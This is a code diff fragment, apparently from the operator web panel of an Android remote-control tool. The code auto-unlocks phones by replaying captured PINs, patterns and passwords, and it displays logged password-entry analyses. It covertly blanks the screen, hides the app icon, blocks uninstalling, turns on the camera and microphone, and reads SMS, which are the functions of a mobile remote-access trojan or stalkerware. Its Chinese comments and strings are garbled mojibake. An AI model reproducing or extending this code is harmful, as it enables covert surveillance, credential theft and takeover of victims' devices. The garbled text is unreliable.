console.log('馃攼 浣跨敤娣峰悎瀵嗙爜绛栫暐') + inputMixedPassword(password) + break + case 'pattern': + console.log('馃帹 浣跨敤鍥惧舰瀵嗙爜绛栫暐') + inputPatternPassword(password) + break + default: + console.log('馃攼 浣跨敤榛樿鏂囨湰瀵嗙爜绛栫暐') + inputTextPassword(password) + break + } + + // 鉁?姝ラ4: 杈撳叆瀹屽瘑鐮佸悗寤惰繜纭锛屾牴鎹瘑鐮佺被鍨嬪拰璁惧淇℃伅璋冩暣寤惰繜鏃堕棿 + const confirmDelay = getConfirmDelay(passwordType, password.length, device) + console.log(`鈴?纭寤惰繜鏃堕棿: ${confirmDelay}ms (瀵嗙爜绫诲瀷: ${passwordType}, 闀垮害: ${password.length}, 璁惧: ${device?.model || 'unknown'})`) + setTimeout(() => { + console.log('鉁?姝ラ4: 纭瀵嗙爜杈撳叆 - 浣跨敤澧炲己纭绛栫暐') + console.log('馃幆 浣跨敤淇濆瓨鐨勭‘璁ゅ潗鏍?', savedConfirmCoords) + performEnhancedConfirm(screenWidth, screenHeight, passwordType, savedConfirmCoords || undefined) + + // 妫€娴嬭В閿佺粨鏋? + setTimeout(() => { + console.log('馃攳 妫€娴嬭В閿佺粨鏋?..') + modal.success({ + title: '瑙i攣鎿嶄綔瀹屾垚', + content: `宸插畬鎴愯嚜鍔ㄨВ閿佹祦绋嬶細 + +1. 鉁?鐐逛寒灞忓箷 +2. 鉁?鍚戜笂婊戝姩鍞ら啋瑙i攣鐣岄潰 +3. 鉁?杈撳叆瀵嗙爜: ${password} (${passwordType}) +4. 鉁?寤惰繜1绉掑悗鐐瑰嚮纭鎸夐挳 + +${savedConfirmCoords ? + `馃幆 浣跨敤浜嗚褰曠殑纭鎸夐挳鍧愭爣: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` : + `馃挕 鎻愮ず锛氬鏋滈渶瑕佹墜鍔ㄧ‘璁わ紝绯荤粺灏嗗涔犳偍鐨勭‘璁ゆ搷浣滐紝涓嬫鍙嚜鍔ㄧ‘璁} + +璇锋鏌ヨ澶囨槸鍚︽垚鍔熻В閿併€傚鏋滆В閿佸け璐ワ紝鍙兘鐨勫師鍥狅細 +鈥?瀵嗙爜涓嶆纭垨宸茶繃鏈? +鈥?璁惧閿佸睆鐣岄潰甯冨眬鍙樺寲 +鈥?纭鎸夐挳浣嶇疆鍙戠敓鍙樺寲 + +鎮ㄥ彲浠ラ噸鏂板皾璇曟垨鎵嬪姩瑙i攣璁惧涓€娆¤绯荤粺瀛︿範鏂扮殑纭鎸夐挳浣嶇疆銆俙, + okText: '鐭ラ亾浜? + }) + }, 5000) + + }, confirmDelay) + + }, 1500) + }, 1000) + } + + // 鉁?鏂板锛氭櫤鑳芥娴嬪瘑鐮佺被鍨? + // 鉁?澧炲己鐗堝瘑鐮佺被鍨嬫娴?- 鏇村噯纭殑璇嗗埆閫昏緫 + const detectPasswordType = (password: string): string => { + if (!password) return 'unknown' + + // 娓呯悊鎺╃爜瀛楃锛屼絾淇濈暀閮ㄥ垎鐗规畩瀛楃鐢ㄤ簬鍒ゆ柇 + const cleanPassword = password.replace(/[?鈥?]/g, '') + + console.log(`馃攳 瀵嗙爜绫诲瀷妫€娴? 鍘熷="${password}", 娓呯悊鍚?"${cleanPassword}"`) + + if (cleanPassword.length === 0) { + return 'unknown' + } + + // 鉁?绾暟瀛楀垽鏂? + if (/^\d+$/.test(cleanPassword)) { + const length = cleanPassword.length + console.log(`馃敘 妫€娴嬪埌绾暟瀛楀瘑鐮侊紝闀垮害: ${length}`) + + // PIN鐮侊細4浣嶆垨6浣嶆暟瀛楋紙甯歌鐨凱IN鐮侀暱搴︼級 + if (length === 4 || length === 6) { + console.log(`馃摫 鍒ゅ畾涓篜IN鐮? ${length}浣峘) + return 'pin' + } + // 鉁?鍥惧舰瀵嗙爜妫€娴嬶細4-9浣嶏紝鍙寘鍚?-9锛屼笉鍖呭惈0 + else if (length >= 4 && length <= 9) { + const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { + const num = parseInt(digit) + return num >= 1 && num <= 9 + }) + + const hasZero = cleanPassword.includes('0') + + // 鍥惧舰瀵嗙爜鐨勭壒寰侊細鍙寘鍚?-9锛屼笉鍖呭惈0 + if (hasOnlyValidPatternDigits && !hasZero) { + console.log(`馃帹 鍒ゅ畾涓哄浘褰㈠瘑鐮? ${length}浣?(1-9鑼冨洿锛屾棤0)`) + return 'pattern' + } else { + console.log(`馃敘 鍒ゅ畾涓烘暟瀛楀瘑鐮? ${length}浣?(鍖呭惈0鎴栬秴鍑?-9鑼冨洿)`) + return 'numeric' + } + } + // 鍏朵粬闀垮害鐨勬暟瀛楀瘑鐮? + else { + console.log(`馃敘 鍒ゅ畾涓烘暟瀛楀瘑鐮? ${length}浣峘) + return 'numeric' + } + } + + // 鉁?娣峰悎瀵嗙爜锛氬寘鍚瓧姣嶅拰鏁板瓧 + if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { + console.log(`馃敜 鍒ゅ畾涓烘贩鍚堝瘑鐮? 鍖呭惈瀛楁瘝鍜屾暟瀛梎) + return 'mixed' + } + + // 鉁?绾瓧姣? + if (/^[a-zA-Z]+$/.test(cleanPassword)) { + console.log(`馃摑 鍒ゅ畾涓烘枃鏈瘑鐮? 绾瓧姣峘) + return 'text' + } + + // 鉁?鍖呭惈鐗规畩瀛楃鐨勫鏉傚瘑鐮? + if (/[^a-zA-Z0-9]/.test(cleanPassword)) { + console.log(`馃敜 鍒ゅ畾涓烘贩鍚堝瘑鐮? 鍖呭惈鐗规畩瀛楃`) + return 'mixed' + } + + // 榛樿鏂囨湰瀵嗙爜 + console.log(`馃摑 榛樿鍒ゅ畾涓烘枃鏈瘑鐮乣) + return 'text' + } + + // 鉁?澧炲己鐗堟暟瀛楀瘑鐮佸潗鏍囩偣鍑昏緭鍏?- 鏀寔閿欒鎭㈠鍜岃繘搴﹀弽棣? + const inputNumericPassword = (password: string, screenWidth: number, screenHeight: number) => { + const digits = password.split('') + console.log(`馃敘 寮€濮嬫暟瀛楀瘑鐮佽緭鍏? ${digits.length}浣嶅瘑鐮乣) + + digits.forEach((digit, index) => { + if (webSocket) { + setTimeout(() => { + console.log(`馃敘 閫氳繃鍧愭爣鐐瑰嚮鏁板瓧 ${digit} (杩涘害: ${index + 1}/${digits.length})`) + webSocket.emit('control_message', { + type: 'NUMERIC_PIN_INPUT', + deviceId, + data: { + digit, + screenWidth, + screenHeight, + index: index + 1, + total: digits.length + }, + timestamp: Date.now() + }) + }, index * 350) // 鏁板瓧杈撳叆闂撮殧350ms锛屼笌寤惰繜璁$畻淇濇寔涓€鑷? + } + }) + + // 鉁?杈撳叆瀹屾垚鍚庣殑鏃ュ織璁板綍 + setTimeout(() => { + console.log(`鉁?鏁板瓧瀵嗙爜杈撳叆瀹屾垚: ${digits.length}浣峘) + }, digits.length * 350 + 100) + } + + // 鉁?鏂板锛歅IN鐮侀€愪釜杈撳叆 + const inputPinPassword = (password: string) => { + const digits = password.split('') + + digits.forEach((digit, index) => { + setTimeout(() => { + console.log(`馃敘 杈撳叆PIN鐮佹暟瀛?`, digit) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: digit, webUnlockMode: true }, + timestamp: Date.now() + }) + } + }, index * 200) // PIN鐮佽緭鍏ラ棿闅?00ms + }) + } + + // 鉁?娣峰悎瀵嗙爜杈撳叆 - 鎭㈠鏁翠綋鏂囨湰杈撳叆 + const inputMixedPassword = (password: string) => { + console.log('馃攼 寮€濮嬫贩鍚堝瘑鐮佹暣浣撹緭鍏?', password) + + if (!password || !webSocket) { + console.error('鉂?瀵嗙爜涓虹┖鎴朩ebSocket鏈繛鎺?) + return + } + + // 鏁翠綋杈撳叆娣峰悎瀵嗙爜锛堢畝鍗曢珮鏁堬級 + console.log(`馃敜 娣峰悎瀵嗙爜鏁翠綋杈撳叆: ${password}`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: password, + webUnlockMode: true + // 绉婚櫎閫愬瓧绗︾浉鍏冲弬鏁? + }, + timestamp: Date.now() + }) + + console.log(`鉁?娣峰悎瀵嗙爜鏁翠綋杈撳叆瀹屾垚`) + + /* 鉁?娉ㄩ噴鎺夐€愬瓧绗﹁緭鍏ユ柟妗? + const characters = password.split('') + console.log(`馃敜 娣峰悎瀵嗙爜鍒嗚В涓?${characters.length} 涓瓧绗?`, characters) + + // 閫愪釜瀛楃杈撳叆锛屾瘡涓瓧绗︿箣闂存湁500ms闂撮殧 + characters.forEach((char, index) => { + setTimeout(() => { + console.log(`馃敜 杈撳叆绗?{index + 1}涓瓧绗? "${char}" (杩涘害: ${index + 1}/${characters.length})`) + + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { + text: char, + webUnlockMode: true, + isCharByChar: true, // 鏍囪瘑涓洪€愬瓧绗﹁緭鍏? + charIndex: index + 1, + totalChars: characters.length + }, + timestamp: Date.now() + }) + }, index * 500) // 姣忎釜瀛楃闂撮殧500ms锛岃鐢ㄦ埛鑳芥竻妤氱湅鍒拌緭鍏ヨ繃绋? + }) + + // 杈撳叆瀹屾垚鍚庣殑鏃ュ織璁板綍 + setTimeout(() => { + console.log(`鉁?娣峰悎瀵嗙爜閫愬瓧绗﹁緭鍏ュ畬鎴? ${characters.length} 涓瓧绗) + }, characters.length * 500 + 200) + */ + } + + // 鉁?鏂板锛氬浘褰㈠瘑鐮佽緭鍏? + const inputPatternPassword = (password: string) => { + console.log('馃帹 鍥惧舰瀵嗙爜杈撳叆:', password) + + if (!webSocket) { + console.error('鉂?WebSocket鏈繛鎺ワ紝鏃犳硶鍙戦€佸浘妗堣В閿佹寚浠?) + return + } + + // 灏嗗瓧绗︿覆瀵嗙爜杞崲涓烘暟瀛楁暟缁? + const pattern = password.split('').map(digit => parseInt(digit)) + + console.log('馃帹 鍥炬璺緞:', pattern) + + // 鍙戦€佸浘妗堣В閿佹寚浠? + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: pattern + } + } + }) + } + + // 鉁?鏂板锛氭枃鏈瘑鐮佽緭鍏? + const inputTextPassword = (password: string) => { + console.log('馃摑 杈撳叆鏂囨湰瀵嗙爜:', password) + if (webSocket) { + webSocket.emit('control_message', { + type: 'INPUT_TEXT', + deviceId, + data: { text: password, webUnlockMode: true }, + timestamp: Date.now() + }) + } + } + + // 鉁?妫€娴嬫槸鍚︿负鍗庝负鑽h€€璁惧 + const isHuaweiHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + return model.includes('huawei') || model.includes('honor') || + name.includes('huawei') || name.includes('honor') + } + + // 鉁?鏂板锛氭娴嬫槸鍚︿负OPPO璁惧 + const isOppoDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 浠庤澶囧悕绉版牸寮?MANUFACTURER_MODEL_SHORTID 涓彁鍙栧搧鐗屼俊鎭? + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('oppo') || model.includes('oppo') || name.includes('oppo') + } + + // 鉁?鏂板锛氭娴嬫槸鍚︿负HONOR璁惧 + const isHonorDevice = (deviceInfo: any): boolean => { + if (!deviceInfo) return false + const model = deviceInfo.model?.toLowerCase() || '' + const name = deviceInfo.name?.toLowerCase() || '' + // 浠庤澶囧悕绉版牸寮?MANUFACTURER_MODEL_SHORTID 涓彁鍙栧搧鐗屼俊鎭? + const nameParts = name.split('_') + const manufacturer = nameParts[0]?.toLowerCase() || '' + return manufacturer.includes('honor') || model.includes('honor') || name.includes('honor') + } + + // 鉁?鏂板锛氭牴鎹瘑鐮佺被鍨嬭幏鍙栫‘璁ゅ欢杩熸椂闂? + const getConfirmDelay = (passwordType: string, passwordLength: number, deviceInfo?: any): number => { + // 鉁?鍗庝负鑽h€€璁惧娣峰悎瀵嗙爜闇€瑕侀澶栧欢杩燂紙鍥犱负鏈夌壒娈婄偣鍑诲鐞嗭級 + if (passwordType === 'mixed' && deviceInfo && isHuaweiHonorDevice(deviceInfo)) { + console.log('馃摫 鍗庝负鑽h€€璁惧娣峰悎瀵嗙爜锛屽鍔犵壒娈婄偣鍑诲欢杩?) + return 1500 // 鍗庝负鑽h€€娣峰悎瀵嗙爜锛?绉掑欢杩燂紙鍖呭惈鐗规畩鐐瑰嚮鏃堕棿锛? + } + + // 馃敡 淇敼锛氭牴鎹笉鍚岃緭鍏ユ柟寮忚绠楃‘璁ゅ欢杩熸椂闂? + switch (passwordType) { + case 'numeric': + return passwordLength * 350 + 1000 // 鏁板瓧瀵嗙爜锛氭瘡涓暟瀛?50ms + 1绉掔‘璁ゅ欢杩? + case 'pin': + return passwordLength * 200 + 1000 // PIN鐮侊細姣忎釜鏁板瓧200ms + 1绉掔‘璁ゅ欢杩? + case 'mixed': + return 1500 // 娣峰悎瀵嗙爜锛氭暣浣撹緭鍏ワ紝鍥哄畾1.5绉掔‘璁ゅ欢杩? + case 'pattern': + return 1000 // 鍥惧舰瀵嗙爜锛?绉掔‘璁ゅ欢杩? + case 'text': + return 1000 // 鏂囨湰瀵嗙爜锛?绉掔‘璁ゅ欢杩? + default: + return 1000 // 榛樿锛?绉掔‘璁ゅ欢杩? + } + } + + // 鉁?澧炲己纭绛栫暐 - 鏀寔璁板綍鐨勭‘璁ゆ寜閽潗鏍囧拰鏅鸿兘妫€娴? + const performEnhancedConfirm = (screenWidth: number, screenHeight: number, passwordType: string, savedConfirmCoords?: { x: number, y: number }) => { + console.log('馃攳 [Web绔‘璁 鏅鸿兘纭绛栫暐锛屽瘑鐮佺被鍨?', passwordType, '宸蹭繚瀛樺潗鏍?', savedConfirmCoords) + + // 鉁?绛栫暐1: 濡傛灉鏈夎褰曠殑纭鎸夐挳鍧愭爣锛屼紭鍏堜娇鐢紙杩欐槸鏈€鍑嗙‘鐨勬柟娉曪級 + if (savedConfirmCoords && savedConfirmCoords.x > 0 && savedConfirmCoords.y > 0) { + console.log('馃幆 [淇濆瓨鍧愭爣浼樺厛] 浣跨敤鐢ㄦ埛璁板綍鐨勭‘璁ゆ寜閽潗鏍囷紝璺宠繃鍏朵粬绛栫暐', savedConfirmCoords) + console.log('鉁?[绛栫暐璺宠繃] 鐢变簬鏈変繚瀛樺潗鏍囷紝涓嶆墽琛屾櫤鑳芥娴嬪拰鍏朵粬鍚庣画绛栫暐') + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: savedConfirmCoords.x, + y: savedConfirmCoords.y + }, + timestamp: Date.now() + }) + } + return // 浣跨敤璁板綍鍧愭爣鍚庣洿鎺ヨ繑鍥烇紝涓嶆墽琛屽叾浠栫瓥鐣? + } + + // 鉁?绛栫暐2: 濡傛灉娌℃湁璁板綍鐨勫潗鏍囷紝鏍规嵁瀵嗙爜绫诲瀷鍒ゆ柇鏄惁闇€瑕佺‘璁? + // 淇锛氬彧鏈夊浘褰㈠瘑鐮侀€氬父鏃犻渶纭鎸夐挳锛屾暟瀛楀瘑鐮佷粛闇€瑕佺‘璁? + if (passwordType === 'pattern') { + console.log('鈩癸笍 [鏅鸿兘璺宠繃] 鍥惧舰瀵嗙爜閫氬父鏃犻渶纭鎸夐挳锛岃緭鍏ュ畬鎴愬悗鑷姩楠岃瘉') + return + } + + // 鉁?绛栫暐3: 璇锋眰Android绔繘琛屾櫤鑳界‘璁ゆ寜閽娴? + console.log('馃 [鏅鸿兘妫€娴媇 璇锋眰Android绔繘琛岀‘璁ゆ寜閽櫤鑳芥娴?) + if (webSocket) { + webSocket.emit('control_message', { + type: 'SMART_CONFIRM_DETECTION', + deviceId, + data: { + passwordType: passwordType, + screenWidth: screenWidth, + screenHeight: screenHeight + }, + timestamp: Date.now() + }) + } + + // 鉁?绛栫暐4: OPPO/HONOR璁惧榛樿鍧愭爣鍏滃簳绛栫暐 + setTimeout(() => { + // 妫€鏌ユ槸鍚︿负OPPO鎴朒ONOR璁惧锛屼笖瀵嗙爜绫诲瀷涓烘枃鏈垨娣峰悎瀵嗙爜 + if (device && (isOppoDevice(device) || isHonorDevice(device)) && + (passwordType === 'text' || passwordType === 'mixed')) { + + // 璁$畻榛樿鍧愭爣 + const defaultX = screenWidth - 60 + const defaultY = isOppoDevice(device) ? screenHeight - 100 : screenHeight - 250 // HONOR璁惧Y鍧愭爣鏇撮珮 + + // 楠岃瘉鍧愭爣鏈夋晥鎬? + if (defaultX > 0 && defaultY > 0 && defaultX < screenWidth && defaultY < screenHeight) { + const deviceBrand = isOppoDevice(device) ? 'OPPO' : 'HONOR' + console.log(`馃摫 [${deviceBrand}璁惧鍏滃簳] 浣跨敤${deviceBrand}璁惧榛樿纭鍧愭爣: (${defaultX}, ${defaultY})`) + console.log(`馃幆 [榛樿鍧愭爣绛栫暐] 瀵嗙爜绫诲瀷: ${passwordType}, 灞忓箷灏哄: ${screenWidth}x${screenHeight}`) + + if (webSocket) { + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { + x: defaultX, + y: defaultY + }, + timestamp: Date.now() + }) + } + + // 鎻愮ず鐢ㄦ埛浣跨敤浜嗛粯璁ゅ潗鏍? + console.log(`馃挕 [鐢ㄦ埛鎻愮ず] 宸蹭娇鐢?{deviceBrand}璁惧榛樿纭鍧愭爣锛屽鏋滃け璐ヨ鎵嬪姩纭`) + return + } else { + console.warn('鈿狅笍 [鍧愭爣楠岃瘉] 璁$畻鐨勯粯璁ゅ潗鏍囪秴鍑哄睆骞曡寖鍥达紝璺宠繃榛樿鍧愭爣绛栫暐') + } + } + + // 鉁?绛栫暐5: 濡傛灉鎵€鏈夌瓥鐣ラ兘澶辫触锛屾彁绀虹敤鎴锋墜鍔ㄧ‘璁? + console.log('馃挕 [鐢ㄦ埛鎻愮ず] 濡傛灉鑷姩纭澶辫触锛岃鎵嬪姩鐐瑰嚮纭鎸夐挳') + console.log('馃摎 [瀛︿範鎻愮ず] 绯荤粺灏嗗涔犳偍鐨勭‘璁ゆ搷浣滐紝涓嬫鍙嚜鍔ㄧ‘璁?) + }, 2000) + } + + // 鐭俊鍒楄〃鍒楀畾涔夊凡绉诲姩鑷崇煭淇″崱鐗囩粍浠? + + + // 琛ㄦ牸鍒楀畾涔? + const logColumns = [ + { + title: '鏃堕棿', + dataIndex: 'timestamp', + key: 'timestamp', + width: 160, + render: (timestamp: string) => new Date(timestamp).toLocaleString() + }, + { + title: '绫诲瀷', + dataIndex: 'logType', + key: 'logType', + width: 100, + render: (logType: string) => ( + + {logTypeLabels[logType as keyof typeof logTypeLabels] || logType} + + ) + }, + { + title: '鍐呭', + dataIndex: 'content', + key: 'content', + render: (content: string) => { + // 妫€娴嬩笉鍚岀被鍨嬬殑鐗规畩鍐呭 + const isPasswordInput = content.includes('瀵嗙爜') || content.includes('鎸囩汗') + const isPatternAnalysis = content.includes('馃攼 鍥炬瑙i攣鍒嗘瀽瀹屾垚') + const isPasswordAnalysis = content.includes('馃攽 瀵嗙爜杈撳叆鍒嗘瀽瀹屾垚') + const isPatternGesture = content.includes('鍥炬瑙i攣') && !isPatternAnalysis + const isRemoteInput = content.includes('杩滅▼杈撳叆') + + // 涓哄浘妗堣В閿佸垎鏋愮粨鏋滆缃壒娈婃牱寮? + if (isPatternAnalysis) { + return ( +
+ {content} +
+ ) + } + + // 涓哄瘑鐮佽緭鍏ュ垎鏋愮粨鏋滆缃壒娈婃牱寮? + if (isPasswordAnalysis) { + return ( +
+ {content} +
+ ) + } + + return ( +
{ if (!content) return; setContentPreviewText(content); setContentPreviewVisible(true) }} + title={content} + > + + {isPasswordInput && '馃敀 '} + {isPatternGesture && '馃攼 '} + {isRemoteInput && '馃摫 '} + {content} + +
+ ) + } + }, + { + title: '璇︾粏淇℃伅', + dataIndex: 'extraData', + key: 'extraData', + width: 120, + render: (extraData: any) => ( + extraData ? ( + + ) : '-' + ) + } + ] + + + // 鏂囨湰杈撳叆宸茬Щ闄? + + const handleSwipe = (direction: string) => { + if (!device) return + if (!operationEnabled) { + console.warn('鎵嬪娍鎿嶄綔宸茶闃绘') + return + } + + const centerX = device.screenWidth / 2 + const centerY = device.screenHeight / 2 + const distance = 300 + + let startX = centerX, startY = centerY + let endX = centerX, endY = centerY + + switch (direction) { + case 'up': + startY = centerY + distance + endY = centerY - distance + break + case 'down': + startY = centerY - distance + endY = centerY + distance + break + case 'left': + startX = centerX + distance + endX = centerX - distance + break + case 'right': + startX = centerX - distance + endX = centerX + distance + break + } + + sendControlMessage('SWIPE', { + startX, + startY, + endX, + endY, + duration: 300 + }) + } + + // 涓嬫媺鎵嬪娍鎿嶄綔锛堜粠椤堕儴涓嬫媺鍒板簳閮級 + const handlePullDown = (side: 'left' | 'right') => { + if (!device) return + if (!operationEnabled) { + console.warn('涓嬫媺鎵嬪娍鎿嶄綔宸茶闃绘') + return + } + + // 鏍规嵁side鍙傛暟纭畾X鍧愭爣 + const startX = side === 'left' + ? device.screenWidth / 4 // 宸﹁竟涓嬫媺锛氬睆骞曞乏1/4浣嶇疆 + : (device.screenWidth * 3) / 4 // 鍙宠竟涓嬫媺锛氬睆骞曞彸1/4浣嶇疆 + + const startY = 10 // 浠庡睆骞曢《閮ㄥ紑濮? + const endY = device.screenHeight - 100 // 鍒板睆骞曞簳閮ㄩ檮杩戠粨鏉? + + console.log(`${side === 'left' ? '宸﹁竟' : '鍙宠竟'}涓嬫媺鎵嬪娍:`, { + startX: startX.toFixed(0), + startY, + endX: startX.toFixed(0), + endY, + screenWidth: device.screenWidth + }) + + sendControlMessage('SWIPE', { + startX: startX, + startY: startY, + endX: startX, // X鍧愭爣淇濇寔涓嶅彉锛屽瀭鐩翠笅鎷? + endY: endY, + duration: 500 // 绋嶉暱鐨勬寔缁椂闂达紝妯℃嫙鐪熷疄鐨勪笅鎷夋搷浣? + }) + } + + // 妫€鏌ヨ澶囩姸鎬佷竴鑷存€? + const checkDeviceStateConsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[鎺у埗闈㈡澘] 妫€鏌ヨ澶?${deviceId} 鐘舵€佷竴鑷存€) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 淇璁惧鐘舵€佷笉涓€鑷? + const fixDeviceStateInconsistency = () => { + if (!webSocket || !deviceId) return + + console.log(`[鎺у埗闈㈡澘] 淇璁惧 ${deviceId} 鐘舵€佷笉涓€鑷碻) + + // 鍚屾褰撳墠UI鐘舵€佸埌鏁版嵁搴? + const currentState = { + inputBlocked: deviceInputBlocked, + loggingEnabled: isLoggingEnabled + } + + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { + deviceId, + state: currentState + } + }) + } + + // 馃啎 灞忓箷鎺у埗鍑芥暟宸茶縼绉昏嚦 RemoteControlApp + + // 馃啎 榛戝睆閬洊鎺у埗鍑芥暟 + const handleEnableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃枻 鍚敤榛戝睆閬洊') + webSocket.emit('client_event', { + type: 'ENABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + const handleDisableBlackScreen = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃枻 鍙栨秷榛戝睆閬洊') + webSocket.emit('client_event', { + type: 'DISABLE_BLACK_SCREEN', + data: { deviceId } + }) + } + + // 馃啎 鍏抽棴閰嶇疆閬洊鍑芥暟 + const handleCloseConfigMask = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃洝锔?鎵嬪姩鍏抽棴閰嶇疆閬洊') + webSocket.emit('client_event', { + type: 'CLOSE_CONFIG_MASK', + data: { + deviceId, + manual: true // 鏍囪杩欐槸鎵嬪姩鍏抽棴 + } + }) + message.info('宸插彂閫佸叧闂厤缃伄鐩栨寚浠?) + } + + // 鎽勫儚澶存帶鍒跺嚱鏁? + const handleStartCamera = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摲 鍚姩鎽勫儚澶?) + webSocket.emit('camera_control', { + action: 'CAMERA_START', + deviceId, + data: {} + }) + setIsCameraActive(true) + message.success('鎽勫儚澶村凡鍚姩') + } + + const handleStopCamera = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摲 鍋滄鎽勫儚澶?) + webSocket.emit('camera_control', { + action: 'CAMERA_STOP', + deviceId, + data: {} + }) + setIsCameraActive(false) + message.success('鎽勫儚澶村凡鍋滄') + } + + const handleSwitchCamera = (cameraType: 'front' | 'back') => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log(`馃摲 鍒囨崲鍒?{cameraType === 'front' ? '鍓嶇疆' : '鍚庣疆'}鎽勫儚澶碻) + webSocket.emit('camera_control', { + action: 'CAMERA_SWITCH', + deviceId, + data: { cameraType } + }) + setCurrentCameraType(cameraType) + message.success(`宸插垏鎹㈠埌${cameraType === 'front' ? '鍓嶇疆' : '鍚庣疆'}鎽勫儚澶碻) + } + + // 鎺у埗鎽勫儚澶存樉绀哄尯鍩熺殑鍙鎬? + const handleToggleCameraView = () => { + dispatch(setCameraViewVisible(!cameraViewVisible)) + } + + const handleOpenAppSettings = () => { + console.log('馃敡 鎵撳紑搴旂敤璁剧疆鎸夐挳琚偣鍑?) + console.log('WebSocket鐘舵€?', !!webSocket) + console.log('璁惧ID:', deviceId) + + if (!webSocket) { + console.error('鉂?WebSocket鏈繛鎺?) + modal.error({ + title: '杩炴帴閿欒', + content: 'WebSocket鏈繛鎺ワ紝璇锋鏌ョ綉缁滆繛鎺? + }) + return + } + + if (!deviceId) { + console.error('鉂?璁惧ID鏃犳晥') + modal.error({ + title: '璁惧閿欒', + content: '璁惧ID鏃犳晥锛岃閲嶆柊閫夋嫨璁惧' + }) + return + } + + console.log('馃摛 鍙戦€丱PEN_APP_SETTINGS璇锋眰') + webSocket.emit('client_event', { + type: 'OPEN_APP_SETTINGS', + data: { deviceId } + }) + + modal.info({ + title: '姝e湪鎵撳紑搴旂敤璁剧疆', + content: '宸插彂閫佹墦寮€搴旂敤璁剧疆鐨勮姹傚埌鎵嬫満绔紝璇风◢鍊?..', + okText: '鐭ラ亾浜? + }) + } + + // 馃帣锔?楹﹀厠椋庢帶鍒跺嚱鏁? + // 宸茬Щ闄ゅ姛鑳斤細楹﹀厠椋庢潈闄愭鏌? + + const handleMicStartRecording = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + if (!operationEnabled) { + message.warning('鎿嶄綔宸茶闃绘') + return + } + console.log('馃帣锔?寮€濮嬪綍闊?) + try { + const ctx = ensureAudioContext() + if (ctx.state === 'suspended') ctx.resume() + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } catch (e) { + console.warn('鍒濆鍖栭煶棰戞挱鏀惧け璐ワ紙鍙兘鐢辩敤鎴锋墜鍔块檺鍒讹級:', e) + } + webSocket.emit('camera_control', { action: 'MICROPHONE_START_RECORDING', deviceId }) + setIsMicRecording(true) + message.success('宸插彂閫佸紑濮嬪綍闊虫寚浠?) + } + + const handleMicStopRecording = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + console.log('馃帣锔?鍋滄褰曢煶') + webSocket.emit('camera_control', { action: 'MICROPHONE_STOP_RECORDING', deviceId }) + setIsMicRecording(false) + if (audioContextRef.current && audioContextRef.current.state !== 'closed') { + audioContextRef.current.suspend().catch(() => { }) + } + message.success('宸插彂閫佸仠姝㈠綍闊虫寚浠?) + } + + // 宸茬Щ闄ゅ姛鑳斤細褰曢煶鐘舵€佹煡璇? + + // 馃啎 搴旂敤闅愯棌/鏄剧ず鎺у埗鍑芥暟 + const handleHideApp = () => { + console.log('馃摰 闅愯棌妗岄潰鍥炬爣') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'HIDE_APP', + data: { deviceId } + }) + } + + const handleShowApp = () => { + console.log('馃摫 鏄剧ず妗岄潰鍥炬爣') + if (!webSocket) return + + webSocket.emit('client_event', { + type: 'SHOW_APP', + data: { deviceId } + }) + } + + // 馃洝锔?闃叉鍗歌浇鍔熻兘鎺у埗鍑芥暟 + const handleEnableUninstallProtection = () => { + console.log('馃洝锔?鍚姩闃叉鍗歌浇鐩戝惉') + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + webSocket.emit('client_event', { + type: 'ENABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + const handleDisableUninstallProtection = () => { + console.log('馃洝锔?鍋滄闃叉鍗歌浇鐩戝惉') + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + webSocket.emit('client_event', { + type: 'DISABLE_UNINSTALL_PROTECTION', + data: { deviceId } + }) + } + + // 馃啎 閲嶆柊鑾峰彇鎶曞睆鏉冮檺 + // 宸茬Щ闄ゅ姛鑳斤細閲嶆柊鑾峰彇鎶曞睆鏉冮檺 + + // 馃摫 SMS鎺у埗鐩稿叧鍑芥暟 + // 宸茬Щ闄わ細鐭俊鏉冮檺妫€鏌ユ寜閽? + + const handleSmsRead = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摫 璇诲彇鐭俊鍒楄〃锛屾潯鏁?', smsReadLimit) + setSmsLoading(true) + webSocket.emit('camera_control', { + action: 'SMS_READ', + deviceId, + data: { limit: smsReadLimit } + }) + message.info(`姝e湪璇诲彇 ${smsReadLimit} 鏉$煭淇?..`) + } + + const 